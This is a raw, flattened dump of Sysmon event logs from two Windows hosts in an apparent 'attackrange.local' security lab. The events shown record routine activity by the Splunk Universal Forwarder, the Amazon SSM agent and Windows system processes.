AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A298CB7D5BE99EB862DEAE6270731616,SHA256=26DD7EA0FD0EF6FA9A43CF4462C17F8DD9BD9DDDB6DB378F31FD19AE80BAA541,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016143Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:10.024{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-042MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:11.835{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6252EECE290DD5BAD183F244FC27B35A,SHA256=2DEAC9B7F96BEB3AC1139C9312FABB7E49E893970ABEB31F95DFA8AD9E6B47BD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016146Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:11.854{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=95913C2837562DDF6ECF744813857ED8,SHA256=F20B07C4860F6FD5449691912731D0AFA96DA744813C45EDA8CBD8D1BCA4FAE2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016145Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:11.025{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-043MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:12.976{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0AC8C3D03B33D2D78FE1A89063F71B83,SHA256=7C1E1A34DFBF224D4D6F5D106F70E9F4BCCD9AA2FD480502982C21618B6F84B7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016147Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:12.869{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4552178B85FC9106960CE156208DDAB0,SHA256=80834A0E53D769144CC71D3EEC65BBC0FC287F038DFC52A869B6F4EE07C2DC2C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016148Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:13.963{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B864696B579204C2E51B01ABFEB352D,SHA256=929685DBCDC672320AA8610948767EBD8EA9C9153359F8070247A02C269DEA83,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:10.392{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59474-false10.0.1.12-8000- 23542300x800000000000000048414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:14.132{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=04192FFDC647F7E0A19C6CD8DC46F4CF,SHA256=854FF94E95FAA86EDD3D5B67E9AEC281ADA74200EF52614CA4CDEB3AC207F138,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016149Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:12.442{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50272-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000048415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:15.242{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AF96036613871962A64347D384C0B52B,SHA256=B048585BF2F861D2D72F64413A519272AD95F8D8A2E5A60EE98A7A4F4D1B1873,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016150Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:15.010{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1A5B38246A43F4E2968165300C0251ED,SHA256=F925732045C9987C784D509FB57F2523FF9906A8FE21D50E611A5016A1B78CE0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:16.476{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E76A05174E332E7E14C2498CB79A28C6,SHA256=00C4B3EF78A37BF23ED96730E45A4B0F527E3C908A1B6387EEB212527F2AD9BB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016151Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:16.025{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B36C1644A37EC0BA14FD8267187758C7,SHA256=D1117E2717B235B2141F3303BEC2202C8114E5D35531F81B3A4F94C3539EECFF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.820{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-724D-613B-430B-00000000F001}6552C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.820{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.820{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.820{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.820{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.820{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-724D-613B-430B-00000000F001}6552C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.820{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-724D-613B-430B-00000000F001}6552C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.821{7BD73061-724D-613B-430B-00000000F001}6552C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.492{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=83308D70694676213F7DB2D5586CBA54,SHA256=12FEE5F0174D19423FCCB4F41542CC721695F966120832C4FE95A22A7AAA4DDD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016152Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:17.057{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1EF765EFBC98F0A2C285CAB5903ADA1D,SHA256=CDA633A0730C3FA77B25C71ABB4BA421AB6B5808B31A485B4AE369893E16ACCD,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.320{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-724D-613B-420B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.320{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.320{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.320{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.320{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.320{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-724D-613B-420B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.320{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-724D-613B-420B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:17.320{7BD73061-724D-613B-420B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000048446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:18.617{7BD73061-724E-613B-440B-00000000F001}23845672C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:18.494{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F22E5D32664012B85C248BCE6F379478,SHA256=5DE089D3F3D05FD58CFE98771BF4507C71E2405418D4F9FE78575B42C503DFA2,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:15.533{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59475-false10.0.1.12-8000- 23542300x800000000000000016153Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:18.088{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D3045E8717C92322536536D9AD5C21C4,SHA256=5A1181E7923D69F762FCD3AEAE133C342A9FA2F2843AE698FC814442F20B8517,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:18.367{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=772D8A21979D87B4449879C5627EE881,SHA256=B2CC6D7CCC82EFC99F0423BBC4EF1969007F97100859DB82AF9A5DE4406A5293,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:18.367{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 